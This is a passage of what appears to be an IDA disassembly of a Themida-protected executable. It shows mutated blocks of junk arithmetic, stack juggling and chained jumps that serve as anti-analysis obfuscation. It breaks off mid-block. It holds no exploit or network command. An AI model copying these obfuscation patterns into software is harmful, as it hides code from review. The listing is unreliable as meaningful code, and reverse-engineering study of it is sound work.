loc_591386: ; CODE XREF: Themida_:005918B3j
add esp, 4
push ebx
jmp loc_597648
; ---------------------------------------------------------------------------
loc_59138F: ; CODE XREF: Themida_:00599E58j
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
add esp, 4
sub dword ptr [esp], 4B56045Fh
jmp loc_592A8A
; ---------------------------------------------------------------------------
loc_5913AD: ; CODE XREF: Themida_:0059B769j
shr edx, 4
sub edx, 1
add edx, 4D354F26h
add edx, 0AD5A7C1Ah
jmp loc_59C520
; ---------------------------------------------------------------------------
loc_5913C4: ; CODE XREF: Themida_:00590BCDj
pop ecx
add esp, 4
jmp loc_590344
; ---------------------------------------------------------------------------
loc_5913D0: ; CODE XREF: Themida_:005A30CBj
xor ebp, edx
pop edx
add eax, ebp
pop ebp
add eax, 2
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5972F9
; ---------------------------------------------------------------------------
loc_5913EA: ; CODE XREF: Themida_:005991A0j
pop ebp
shr ebp, 8
add ebp, 5EE31AFDh
jmp loc_599D49
; ---------------------------------------------------------------------------
loc_5913F9: ; CODE XREF: Themida_:0059A1AEj
sub edx, 46526DB7h
jmp loc_599361
; ---------------------------------------------------------------------------
loc_591404: ; CODE XREF: Themida_:005A283Cj
mov [esp], ecx
mov ch, 0AEh
shl ch, 1
xor ch, 30h
or ch, 0B3h
sub ch, 0C9h
jmp loc_5A5730
; ---------------------------------------------------------------------------
loc_591419: ; CODE XREF: Themida_:00596300j
add edi, 44923663h
xor edi, 0A10C5D4Ah
xor ebx, edi
pop edi
mov edi, ebx
pop ebx
xor edi, 73E97A08h
jmp loc_59BE2B
; ---------------------------------------------------------------------------
loc_591436: ; CODE XREF: Themida_:0059030Fj
add ebp, edi
add ebp, 603948CAh
mov edi, [esp]
add esp, 4
push 7028h
mov [esp], ebx
push 55ABh
mov [esp], esi
push eax
mov eax, 7AB639CBh
and eax, 5AC95738h
add eax, 0FFFFFFFFh
shl eax, 8
inc eax
sub eax, 0FFFFFFFFh
xor eax, 80110700h
push eax
mov esi, [esp]
add esp, 4
pop eax
push esi
add dword ptr [esp], 4A4D3246h
pop ebx
jmp loc_5A4CC8
; ---------------------------------------------------------------------------
loc_591489: ; CODE XREF: Themida_:00593D16j
xor [esp], ecx
jmp loc_5A140E
; ---------------------------------------------------------------------------
loc_591491: ; CODE XREF: Themida_:00593054j
mov [esp], ebp
push 7DA9670Ah
pop ebp
push ecx
push edx
mov edx, 7DA96708h
mov ecx, edx
jmp loc_5A476D
; ---------------------------------------------------------------------------
loc_5914A8: ; CODE XREF: Themida_:00599D39j
pop edi
push eax
mov eax, 532B223Eh
xor eax, 7B1E1A53h
push 2FB3h
mov [esp], ecx
push ebp
mov ebp, 15C02264h
add ebp, 779948C3h
shr ebp, 8
shr ebp, 6
sub ebp, 929D0F57h
push edx
mov edx, ebp
push ebx
mov ebx, edx
mov ecx, ebx
pop ebx
pop edx
pop ebp
xor ecx, 1AAF7732h
sub ecx, 5170C3Ah
jmp loc_59D404
; ---------------------------------------------------------------------------
loc_5914F0: ; CODE XREF: Themida_:005A56CBj
mov edx, 6B0051E6h
push edi
mov edi, 1E803733h
dec edi
jmp loc_590F8C
; ---------------------------------------------------------------------------
loc_591501: ; CODE XREF: Themida_:0059A1A1j
mov esp, [esp]
push dword ptr [eax]
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59150B: ; CODE XREF: Themida_:005A278Dj
mov ah, 33h
jmp loc_598587
; ---------------------------------------------------------------------------
loc_591512: ; CODE XREF: Themida_:00594F20j
pop edx
mov eax, edx
jmp loc_5948B0
; ---------------------------------------------------------------------------
loc_59151A: ; CODE XREF: Themida_:0059FC23j
mov esp, [esp]
shl dword ptr [esp], cl
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_591526: ; CODE XREF: Themida_:005A444Bj
xor ecx, 51591704h
mov edi, ecx
jmp loc_5952BF
; ---------------------------------------------------------------------------
loc_591533: ; CODE XREF: Themida_:0059A9B2j
add esp, 4
jmp loc_5A17CB
; ---------------------------------------------------------------------------
loc_59153E: ; CODE XREF: Themida_:0059C6E3j
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_59D2F9
; ---------------------------------------------------------------------------
loc_59154A: ; CODE XREF: Themida_:00594F4Dj
add esp, 4
shl esi, 3
sub esi, 58F9FF3Dh
add ecx, 44E3D3Bh
jmp loc_59F988
; ---------------------------------------------------------------------------
loc_591564: ; CODE XREF: Themida_:005A0D97j
mov bl, 39h
xor ch, bl
pop ebx
and dh, ch
pop ecx
xor dh, 0E2h
push eax
mov ah, 21h
not ah
add ah, 73h
xor dh, ah
pop eax
sub cl, 0ECh
add cl, dh
jmp loc_596098
; ---------------------------------------------------------------------------
loc_591584: ; CODE XREF: Themida_:005A2796j
push edx
push esp
pop edx
push ecx
mov ecx, 4
add edx, ecx
jmp loc_5926E8
; ---------------------------------------------------------------------------
loc_591594: ; CODE XREF: Themida_:00599F74j
xor [esp], ebp
xor ebp, [esp]
pop esp
push dword ptr [esp]
jmp loc_595508
; ---------------------------------------------------------------------------
loc_5915A3: ; CODE XREF: Themida_:0059FB0Dj
pop edx
sub edi, 2F1516ABh
sub esp, 4
mov [esp], edx
push 346A20C1h
pop edx
inc edx
add edx, 333626D2h
sub edi, 7D290F43h
sub edi, edx
add edi, 7D290F43h
jmp loc_59FEEF
; ---------------------------------------------------------------------------
loc_5915D0: ; CODE XREF: Themida_:005A02B5j
neg ecx
neg ecx
add ecx, 2DFD54C0h
not ecx
xor ecx, 0B6593D7Eh
push eax
mov eax, ecx
mov ebp, eax
pop eax
pop ecx
add ecx, ebp
jmp loc_592F93
; ---------------------------------------------------------------------------
loc_5915F0: ; CODE XREF: Themida_:005A249Bj
add edi, 63D064B9h
add edi, 2B340D6h
add edi, edx
jmp loc_59FFC0
; ---------------------------------------------------------------------------
loc_591603: ; CODE XREF: Themida_:0059FF79j
add edi, 0D25CCCD1h
add esi, edi
jmp loc_598FC1
; ---------------------------------------------------------------------------
loc_591610: ; CODE XREF: Themida_:0059FDD2j
push eax
mov eax, esp
jmp loc_597A5A
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
jmp loc_59074F
; ---------------------------------------------------------------------------
loc_591623: ; CODE XREF: Themida_:00595616j
pop esp
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop edx
jmp loc_599CE1
; ---------------------------------------------------------------------------
loc_591632: ; CODE XREF: Themida_:00594117j
add esp, 4
push edx
mov edx, 3A57792Bh
shr edx, 7
sub edx, 536346C0h
neg edx
inc edx
sub edx, 1
xor edx, 52EE97CCh
jmp loc_591F5C
; ---------------------------------------------------------------------------
pop dword ptr [edi+40h]
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_591663: ; CODE XREF: Themida_:00598F63j
not ebx
inc ebx
xor ebx, 0FF62A5E7h
jmp loc_59D867
; ---------------------------------------------------------------------------
loc_591671: ; CODE XREF: Themida_:005923E2j
sub eax, 2B917E7Fh
mov esi, [esp]
add esp, 4
push esi
push ebp
mov ebp, 7B1A3EFAh
mov esi, 0A53555E9h
jmp loc_5A29C5
; ---------------------------------------------------------------------------
loc_591690: ; CODE XREF: Themida_:0059A063j
mov edx, esp
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
jmp loc_59B855
; ---------------------------------------------------------------------------
loc_5916A9: ; CODE XREF: Themida_:005A2178j
add ebp, 4
push ebx
mov ebx, 4
sub ebp, ebx
pop ebx
jmp loc_59E607
; ---------------------------------------------------------------------------
loc_5916BD: ; CODE XREF: Themida_:0059804Cj
mov edx, [esp]
add esp, 4
mov ebx, [esp]
push ebx
push esp
pop ebx
push ebp
mov ebp, 4
add ebx, ebp
mov ebp, [esp]
add esp, 4
push edx
mov edx, 4
jmp loc_597014
; ---------------------------------------------------------------------------
loc_5916E5: ; CODE XREF: Themida_:005A4C3Ej
sub esp, 4
jmp loc_59AD17
; ---------------------------------------------------------------------------
loc_5916F0: ; CODE XREF: Themida_:0059737Dj
push edx
mov edx, 141B0A3Ch
mov esi, edx
pop edx
xor edx, esi
pop esi
sub edx, 234B072Eh
jmp loc_5A0588
; ---------------------------------------------------------------------------
loc_591707: ; CODE XREF: Themida_:0059AC15j
mov eax, [esp]
jmp loc_59D792
; ---------------------------------------------------------------------------
loc_59170F: ; CODE XREF: Themida_:00592CC0j
push esi
jmp loc_5A2572
; ---------------------------------------------------------------------------
loc_591715: ; CODE XREF: Themida_:0059D18Dj
push eax
mov eax, esp
push esi
mov esi, 4
sub eax, 0CB0E7Bh
add eax, esi
push ecx
push edx
mov edx, 4E2227Ah
mov ecx, 149C0E02h
xor ecx, edx
pop edx
sub esp, 4
mov [esp], edx
mov edx, 50642CA3h
add edx, 431D3AE4h
push ebx
mov ebx, 72FC3C86h
jmp loc_59368A
; ---------------------------------------------------------------------------
loc_591750: ; CODE XREF: Themida_:0059C162j
push ebx
mov ebx, 220802B6h
or ebx, 61B77FE2h
shl ebx, 3
jmp loc_5980EB
; ---------------------------------------------------------------------------
loc_591764: ; CODE XREF: Themida_:005990DDj
mov [esp], ecx
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59176C: ; CODE XREF: Themida_:00597DDCj
xor dh, 69h
xor al, dh
pop dx
sub esp, 4
mov [esp], ecx
push ebx
push edx
push eax
mov ah, 2Eh
or ah, 0B9h
sub ah, 1Fh
jmp loc_593A13
; ---------------------------------------------------------------------------
loc_59178C: ; CODE XREF: Themida_:005A3C7Cj
neg esi
push esi
not dword ptr [esp]
jmp loc_59DB59
; ---------------------------------------------------------------------------
loc_591797: ; CODE XREF: Themida_:005A098Fj
dec eax
or eax, 71C22171h
not eax
add eax, 19C44774h
add eax, 86988D76h
jmp loc_59479B
; ---------------------------------------------------------------------------
loc_5917AE: ; CODE XREF: Themida_:0059B847j
add esp, 4
sub esp, 4
mov [esp], ebp
mov ebp, 15B27A33h
push eax
push 8886D73h
jmp loc_5994FB
; ---------------------------------------------------------------------------
loc_5917C7: ; CODE XREF: Themida_:00593742j
push edi
mov edi, 17B72655h
jmp loc_594521
; ---------------------------------------------------------------------------
loc_5917D2: ; CODE XREF: Themida_:0059D254j
add cl, bh
jmp loc_5A2C8D
; ---------------------------------------------------------------------------
loc_5917D9: ; CODE XREF: Themida_:005A09D1j
pop ecx
sub ebx, edx
pop edx
sub ebx, eax
push esi
mov esi, 7CFE367Fh
sub ebx, 1A8004B6h
add ebx, esi
add ebx, 1A8004B6h
pop esi
movzx ax, byte ptr [eax]
push 54C2h
jmp loc_5A4143
; ---------------------------------------------------------------------------
loc_591802: ; CODE XREF: Themida_:005933F7j
push ecx
mov ecx, 60724728h
sub ecx, 0FFFFFFFFh
jmp loc_59F15C
; ---------------------------------------------------------------------------
loc_591813: ; CODE XREF: Themida_:005A4D15j
push 0
sub [esp], edx
pop edx
jmp loc_597B8E
; ---------------------------------------------------------------------------
loc_591821: ; CODE XREF: Themida_:005A4D77j
pop ecx
jmp loc_59F741
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_59739F
; ---------------------------------------------------------------------------
loc_59182F: ; CODE XREF: Themida_:005A24B0j
push ebx
mov ebx, 497601B8h
dec ebx
jmp loc_59112C
; ---------------------------------------------------------------------------
loc_59183B: ; CODE XREF: Themida_:005939E6j
mov cl, 9Eh
sub bl, 0Eh
add bl, cl
add bl, 0Eh
jmp loc_595335
; ---------------------------------------------------------------------------
loc_59184A: ; CODE XREF: Themida_:00592198j
pop ebx
pop eax
mov ecx, ebx
mov ebx, [esp]
add esp, 4
mov esi, [esp]
push esi
mov esi, esp
add esi, 4
push edx
mov edx, 4
add esi, edx
pop edx
xchg esi, [esp]
jmp loc_598651
; ---------------------------------------------------------------------------
loc_591871: ; CODE XREF: Themida_:005A2BA6j
mov esi, 34437CC4h
sub esi, 5B72BC1h
sub esi, 6C3273BDh
jmp loc_59F4C7
; ---------------------------------------------------------------------------
loc_591887: ; CODE XREF: Themida_:0059E698j
add ebx, eax
jmp loc_591FAB
; ---------------------------------------------------------------------------
loc_59188E: ; CODE XREF: Themida_:005944F3j
pop ecx
mov eax, esi
jmp loc_597171
; ---------------------------------------------------------------------------
loc_591896: ; CODE XREF: Themida_:00597E65j
push eax
mov eax, esp
push edx
mov edx, 2DA6494Ah
add edx, 0D259B6BAh
add eax, edx
pop edx
add eax, 4
xchg eax, [esp]
mov esp, [esp]
jmp loc_591386
; ---------------------------------------------------------------------------
loc_5918B8: ; CODE XREF: Themida_:005A0F1Aj
pop ebp
not ebx
inc ebx
shr ebx, 7
jmp loc_59C7F3
; ---------------------------------------------------------------------------
loc_5918C4: ; CODE XREF: Themida_:0059FC1Bj
push eax
push esp
pop eax
add eax, 4
push ebp
mov ebp, 4
push ebp
mov ebp, 485E6808h
jmp loc_59BF73
; ---------------------------------------------------------------------------
loc_5918DD: ; CODE XREF: Themida_:00599AFCj
add esp, 4
mov ebp, [esp]
add esp, 4
mov edx, esi
pop esi
and eax, edx
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
or edx, eax
shl edx, 1
sub esp, 4
jmp loc_59E646
; ---------------------------------------------------------------------------
loc_591909: ; CODE XREF: Themida_:0059C508j
shr edx, 1
add edx, 0D7218D12h
mov esi, edx
pop edx
push ebp
jmp loc_59A685
; ---------------------------------------------------------------------------
loc_59191A: ; CODE XREF: Themida_:00593CF5j
mov ch, 9Fh
dec ch
add ch, 21h
mov dl, ch
jmp loc_59DEB0
; ---------------------------------------------------------------------------
loc_591928: ; CODE XREF: Themida_:00592361j
mov [esp], edx
mov edx, 45C87F74h
push edx
add dword ptr [esp], 762D67BFh
pop edi
sub edi, 762D67BFh
pop edx
dec edi
push eax
mov eax, 48AD07C1h
jmp loc_596D19
; ---------------------------------------------------------------------------
loc_59194C: ; CODE XREF: Themida_:005979ECj
sub al, dl
push ecx
jmp loc_590766
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push edi
push esp
push dword ptr [esp]
pop edi
jmp loc_59BB55
; ---------------------------------------------------------------------------
loc_591968: ; CODE XREF: Themida_:0059724Ej
sub esi, 4
push esi
push dword ptr [esp+4]
jmp loc_5A4474
; ---------------------------------------------------------------------------
loc_591975: ; CODE XREF: Themida_:0059CD89j
mov ebx, 55B90401h
add edx, ebx
pop ebx
sub edx, 2DD59F7h
add edx, 87A04868h
mov eax, edx
pop edx
mov ecx, eax
pop eax
and esi, ecx
mov ecx, [esp]
add esp, 4
push ecx
mov ecx, 0E0C4B1Fh
sub esi, ecx
jmp loc_5A0F39
; ---------------------------------------------------------------------------
loc_5919A7: ; CODE XREF: Themida_:005A518Dj
not dx
jmp loc_596424
; ---------------------------------------------------------------------------
loc_5919AF: ; CODE XREF: Themida_:0059D9ACj
mov ebx, esp
add ebx, 4
add ebx, 4
push ebx
push dword ptr [esp+4]
jmp loc_5909EA
; ---------------------------------------------------------------------------
loc_5919C7: ; CODE XREF: Themida_:00591C49j
sub esp, 4
mov [esp], esi
push 15A76EBh
mov esi, [esp]
add esp, 4
xchg ebx, esi
add ebx, 1
xchg ebx, esi
jmp loc_5951E2
; ---------------------------------------------------------------------------
loc_5919E4: ; CODE XREF: Themida_:00595AA5j
mov esp, [esp]
mov ax, [esp]
jmp loc_5A5737
; ---------------------------------------------------------------------------
loc_5919F0: ; CODE XREF: Themida_:00598017j
push 6823h
mov [esp], esp
push edi
mov edi, 4
add dword ptr [esp+4], 52CD2DF1h
add [esp+4], edi
jmp loc_59C82F
; ---------------------------------------------------------------------------
loc_591A0F: ; CODE XREF: Themida_:0059D104j
mov edi, 25F237CBh
jmp loc_59D109
; ---------------------------------------------------------------------------
loc_591A19: ; CODE XREF: Themida_:0059830Bj
; Themida_:0059A887j
sub esp, 4
mov [esp], ebp
sub esp, 4
mov [esp], ebx
push 40FE7351h
pop ebx
push ecx
push ebp
jmp loc_598CC7
; ---------------------------------------------------------------------------
loc_591A35: ; CODE XREF: Themida_:00598D57j
mov eax, 4
add ebx, eax
jmp loc_59F026
; ---------------------------------------------------------------------------
loc_591A41: ; CODE XREF: Themida_:00593234j
push ecx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
jmp loc_59AA87
; ---------------------------------------------------------------------------
loc_591A56: ; CODE XREF: Themida_:00595FCDj
add edi, 563A516Eh
sub edi, 2615191Ah
mov ebx, edi
pop edi
add ebp, 196D0062h
jmp loc_59C940
; ---------------------------------------------------------------------------
loc_591A70: ; CODE XREF: Themida_:005968E8j
mov ecx, 0D662F54h
jmp loc_59EAFC
; ---------------------------------------------------------------------------
loc_591A7A: ; CODE XREF: Themida_:005A2DD6j
push eax
jmp loc_596004
; ---------------------------------------------------------------------------
loc_591A80: ; CODE XREF: Themida_:005994AAj
mov ebx, 331C3BECh
sub ecx, ebx
pop ebx
push eax
mov eax, 1A3073E5h
xor eax, 266D4838h
shl eax, 8
and eax, 10A00A78h
sub eax, 313A4419h
xor eax, 0D98ED56Eh
xor ecx, eax
pop eax
jmp loc_596D97
; ---------------------------------------------------------------------------
loc_591AAD: ; CODE XREF: Themida_:005A4FB4j
and eax, 42120EF4h
jmp loc_595296
; ---------------------------------------------------------------------------
loc_591AB7: ; CODE XREF: Themida_:0059503Bj
mov ecx, 27657589h
inc ecx
add ecx, 0D89A8A7Ah
add edi, ecx
push dword ptr [esp]
jmp loc_599C18
; ---------------------------------------------------------------------------
loc_591ACD: ; CODE XREF: Themida_:0059558Dj
pop eax
mov edi, [esp]
jmp loc_5940B0
; ---------------------------------------------------------------------------
loc_591AD6: ; CODE XREF: Themida_:005937B7j
mov ecx, esp
add ecx, 4
add ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_59A1B3
; ---------------------------------------------------------------------------
loc_591AF2: ; CODE XREF: Themida_:00594BB1j
not esi
add esi, 45FF2A16h
add edi, esi
pop esi
push eax
mov eax, 4
add edi, eax
mov eax, [esp]
jmp loc_5953B7
; ---------------------------------------------------------------------------
loc_591B0D: ; CODE XREF: Themida_:005991BDj
mov ebp, [esp]
push edi
mov edi, esp
add edi, 4
jmp loc_5A08F4
; ---------------------------------------------------------------------------
loc_591B1E: ; CODE XREF: Themida_:005A4406j
push 77A4h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop eax
push edi
mov edi, 4
push esi
jmp loc_5A0C35
; ---------------------------------------------------------------------------
loc_591B38: ; CODE XREF: Themida_:00596CC9j
mov ebx, 2D693A99h
shl ebx, 7
and ebx, 556B5446h
xor ebx, 65E85D8Ah
and ebx, 567E6614h
push ebp
mov ebp, 70D2683Fh
push edi
mov edi, 5DFB13ADh
or edi, 10E37121h
dec edi
inc edi
add edi, 54D80246h
and edi, 77067C4Dh
sub edi, 0E3AED682h
jmp loc_5A43EE
; ---------------------------------------------------------------------------
loc_591B7D: ; CODE XREF: Themida_:00598903j
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_5A115A
; ---------------------------------------------------------------------------
loc_591B9B: ; CODE XREF: Themida_:00593C16j
mov [esp], bx
jmp loc_5A14B7
; ---------------------------------------------------------------------------
loc_591BA4: ; CODE XREF: Themida_:0059A2ACj
or edi, 28AA5986h
jmp loc_59EA1A
; ---------------------------------------------------------------------------
loc_591BAF: ; CODE XREF: Themida_:0059D387j
add edx, 4
xchg edx, [esp]
mov esp, [esp]
shr eax, 1
dec eax
inc eax
sub eax, 0F3EB1A0Dh
push eax
mov ebp, [esp]
jmp loc_596A91
; ---------------------------------------------------------------------------
loc_591BCD: ; CODE XREF: Themida_:005A1FD8j
mov esi, edx
jmp loc_59F82B
; ---------------------------------------------------------------------------
loc_591BD4: ; CODE XREF: Themida_:005A35C8j
pop ebp
jmp loc_5961FE
; ---------------------------------------------------------------------------
loc_591BDA: ; CODE XREF: Themida_:005996B5j
pop ebp
pop dword ptr [esp]
pop esp
ror word ptr [esp], cl
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_591BE9: ; CODE XREF: Themida_:00597038j
push eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_5968ED
; ---------------------------------------------------------------------------
loc_591C00: ; CODE XREF: Themida_:0059702Aj
push 0FFFFFFFFh
jmp loc_5A0E9F
; ---------------------------------------------------------------------------
loc_591C0A: ; CODE XREF: Themida_:00594F93j
mov edx, [esp]
push esi
jmp loc_59D7F4
; ---------------------------------------------------------------------------
loc_591C13: ; CODE XREF: Themida_:005A556Aj
mov ebx, [esp]
push ecx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
add esp, 4
add ecx, 4
jmp loc_5A2696
; ---------------------------------------------------------------------------
loc_591C3B: ; CODE XREF: Themida_:0059095Cj
add ecx, 31DB081Ah
sub ecx, 16AA0CE4h
pop ebx
push ebp
jmp loc_5919C7
; ---------------------------------------------------------------------------
loc_591C4E: ; CODE XREF: Themida_:00592E59j
pop ebp
add ecx, 0EF0D3D23h
add edi, ecx
pop ecx
push edi
sub dword ptr [esp], 479E318Bh
push dword ptr [esp]
pop esi
add esp, 4
add esi, 479E318Bh
pop edi
sub esi, 1
xor esi, 70DB2A19h
xor esi, 1F574DE4h
and esi, 28275B23h
add esi, 0D7DB7000h
jmp loc_5968C7
; ---------------------------------------------------------------------------
loc_591C94: ; CODE XREF: Themida_:005948ABj
add esp, 4
pop ecx
jmp loc_5902C1
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_59C7E2
; ---------------------------------------------------------------------------
loc_591CA9: ; CODE XREF: Themida_:0059A6DBj
pop ecx
sub edx, 6CD770D9h
jmp loc_593422
; ---------------------------------------------------------------------------
loc_591CB5: ; CODE XREF: Themida_:0059ACE6j
add dword ptr [esp+4], 4B2F7F90h
push dword ptr [esp]
pop edx
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_59514E
; ---------------------------------------------------------------------------
loc_591CD8: ; CODE XREF: Themida_:0059F9DCj
mov ecx, [esp]
add esp, 4
sub ecx, 55794C94h
push dword ptr [esp]
jmp loc_5A4DF3
; ---------------------------------------------------------------------------
loc_591CEC: ; CODE XREF: Themida_:005951A1j
mov edx, 28A035C6h
add edx, 6ADE2490h
xor edx, 6450205Bh
jmp loc_5A1AA3
; ---------------------------------------------------------------------------
loc_591D02: ; CODE XREF: Themida_:005A21D4j
mov [esp], ebp
not dword ptr [esp]
inc dword ptr [esp]
pop ebp
jmp loc_5A0703
; ---------------------------------------------------------------------------
loc_591D11: ; CODE XREF: Themida_:0059051Aj
mov edi, esp
jmp loc_59321A
; ---------------------------------------------------------------------------
loc_591D18: ; CODE XREF: Themida_:00596EBFj
pop esp
jmp loc_59F02F
; ---------------------------------------------------------------------------
loc_591D1E: ; CODE XREF: Themida_:00597264j
pop esi
push ecx
jmp loc_59B8B0
; ---------------------------------------------------------------------------
loc_591D25: ; CODE XREF: Themida_:00598125j
pop eax
jmp loc_5963CE
; ---------------------------------------------------------------------------
loc_591D2B: ; CODE XREF: Themida_:0059580Cj
mov esp, [esp]
jmp loc_593D7F
; ---------------------------------------------------------------------------
loc_591D33: ; CODE XREF: Themida_:00595AF6j
push edi
push 781635B7h
jmp loc_5A1E55
; ---------------------------------------------------------------------------
loc_591D3E: ; CODE XREF: Themida_:0059E3BBj
pop eax
jmp loc_59D598
; ---------------------------------------------------------------------------
loc_591D44: ; CODE XREF: Themida_:005A00A9j
mov [ebx], ecx
pop ecx
mov edx, [esp]
add esp, 4
push dword ptr [esp]
mov ebx, [esp]
push edx
push esp
pop edx
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
jmp loc_59A881
; ---------------------------------------------------------------------------
loc_591D70: ; CODE XREF: Themida_:0059F09Dj
add cl, 23h
pop edx
add cl, 40h
push edx
mov dl, 0CFh
and dl, 81h
xchg bh, dl
not bh
xchg bh, dl
add dl, 1Bh
inc dl
jmp loc_597DB8
; ---------------------------------------------------------------------------
loc_591D8D: ; CODE XREF: Themida_:005956B0j
mov esi, 0BF7C62B0h
xor ebx, esi
pop esi
xor eax, ebx
mov ebx, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
push ebp
mov ebp, esp
add ebp, 4
push eax
mov eax, 4
jmp loc_59CAE8
; ---------------------------------------------------------------------------
loc_591DBD: ; CODE XREF: Themida_:0059F9F3j
push ebp
mov ebp, 4
add edx, ebp
pop ebp
xchg edx, [esp]
pop esp
sub ebx, 10221F34h
or ebx, 429A13AAh
push eax
mov eax, 1BC10584h
or ebx, eax
pop eax
jmp loc_591E5E
; ---------------------------------------------------------------------------
loc_591DE4: ; CODE XREF: Themida_:00592F8Ej
xchg edi, [esp]
pop esp
mov [esp], eax
push 3BFFh
mov [esp], esp
sub esp, 4
mov [esp], eax
push esi
jmp loc_597A18
; ---------------------------------------------------------------------------
loc_591E02: ; CODE XREF: Themida_:0059F4C2j
pop ecx
push ebx
jmp loc_59E7CE
; ---------------------------------------------------------------------------
loc_591E09: ; CODE XREF: Themida_:005950C5j
pop esi
push 366h
mov [esp], esi
mov esi, esp
add esi, 4
sub esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebp
mov ebp, 4
add esi, ebp
pop ebp
add esi, 4
push esi
push dword ptr [esp+4]
jmp loc_59C0D2
; ---------------------------------------------------------------------------
loc_591E41: ; CODE XREF: Themida_:00597D1Bj
pop ebx
sub eax, ebp
add eax, 1604590Dh
pop ebp
push 573Ch
mov [esp], eax
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_594DEB
; ---------------------------------------------------------------------------
loc_591E5E: ; CODE XREF: Themida_:00591DDFj
push esi
push edx
push 3E1A1DEDh
pop edx
jmp loc_5931F6
; ---------------------------------------------------------------------------
loc_591E6B: ; CODE XREF: Themida_:005A0B4Dj
pop ebx
push ecx
mov ecx, 77C058F9h
dec ecx
shl ecx, 4
sub esp, 4
mov [esp], ebx
mov ebx, 152B0F24h
jmp loc_59AE70
; ---------------------------------------------------------------------------
loc_591E86: ; CODE XREF: Themida_:0059D7EFj
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
mov edx, esp
sub esp, 4
mov [esp], ebx
jmp loc_5A4FB9
; ---------------------------------------------------------------------------
loc_591EA6: ; CODE XREF: Themida_:0059D065j
shl esi, 1
not esi
inc esi
add esi, 5DC6267Ah
sub esi, 71CA1F0Dh
add esi, ebp
add esi, 71CA1F0Dh
pop ebp
push 7EFCh
mov [esp], ebx
mov ebx, 715C5015h
sub ebx, 2DA02433h
add ebx, 1542ED90h
xor esi, ebx
pop ebx
push edx
mov edx, 1FB73F2h
xor esi, edx
pop edx
xor edx, esi
push dword ptr [esp]
pop esi
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_59F145
; ---------------------------------------------------------------------------
loc_591F03: ; CODE XREF: Themida_:005A0C30j
add eax, edi
sub esp, 4
mov [esp], esi
push edx
jmp loc_59053A
; ---------------------------------------------------------------------------
loc_591F11: ; CODE XREF: Themida_:0059221Bj
shl al, 4
add al, 0BDh
xor dh, al
jmp loc_5A48A1
; ---------------------------------------------------------------------------
loc_591F1D: ; CODE XREF: Themida_:0059EC0Bj
push dword ptr [esp]
mov eax, [esp]
push eax
jmp loc_5965FC
; ---------------------------------------------------------------------------
lodsd
jmp loc_5958C7
; ---------------------------------------------------------------------------
loc_591F2F: ; CODE XREF: Themida_:005985DBj
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_599BE8
; ---------------------------------------------------------------------------
loc_591F3E: ; CODE XREF: Themida_:005A2247j
push edi
mov edi, 8861630h
add edi, 40C8FBECh
and edi, 75BD34E2h
jmp loc_59F758
; ---------------------------------------------------------------------------
loc_591F55: ; CODE XREF: Themida_:00596632j
sub edx, ecx
jmp loc_596913
; ---------------------------------------------------------------------------
loc_591F5C: ; CODE XREF: Themida_:00591656j
add esi, edx
jmp loc_5A07F5
; ---------------------------------------------------------------------------
loc_591F63: ; CODE XREF: Themida_:00598DC2j
mov esi, ebp
pop ebp
neg esi
jmp loc_5906F6
; ---------------------------------------------------------------------------
loc_591F6D: ; CODE XREF: Themida_:0059F1D3j
xor ebx, esi
mov esi, [esp]
push eax
mov eax, esp
add eax, 4
jmp loc_59D4B0
; ---------------------------------------------------------------------------
loc_591F7F: ; CODE XREF: Themida_:005A1086j
sub dword ptr [esp+4], 4AAD30A2h
mov ebp, [esp]
add esp, 4
sub dword ptr [esp], 6C70322Ah
add [esp], eax
add dword ptr [esp], 6C70322Ah
push 6CB4h
jmp loc_59D4C5
; ---------------------------------------------------------------------------
loc_591FAB: ; CODE XREF: Themida_:00591889j
add ebx, 1894691h
add ebx, 70041FDBh
add ebx, 65273994h
push edi
mov edi, 10756C6Eh
push eax
mov eax, 507324EAh
sub edi, eax
pop eax
dec edi
xor edi, 8C18345Bh
add ebx, edi
mov edi, [esp]
add esp, 4
jmp loc_593B60
; ---------------------------------------------------------------------------
loc_591FE0: ; CODE XREF: Themida_:005993E0j
sub esp, 4
jmp loc_59903A
; ---------------------------------------------------------------------------
loc_591FEB: ; CODE XREF: Themida_:0059FD99j
add esp, 4
jmp loc_59D88E
; ---------------------------------------------------------------------------
loc_591FF6: ; CODE XREF: Themida_:005988DBj
push edx
mov edx, 116B563Dh
not edx
push 4903h
mov [esp], ebp
mov ebp, 784D6C95h
shl ebp, 6
neg ebp
push eax
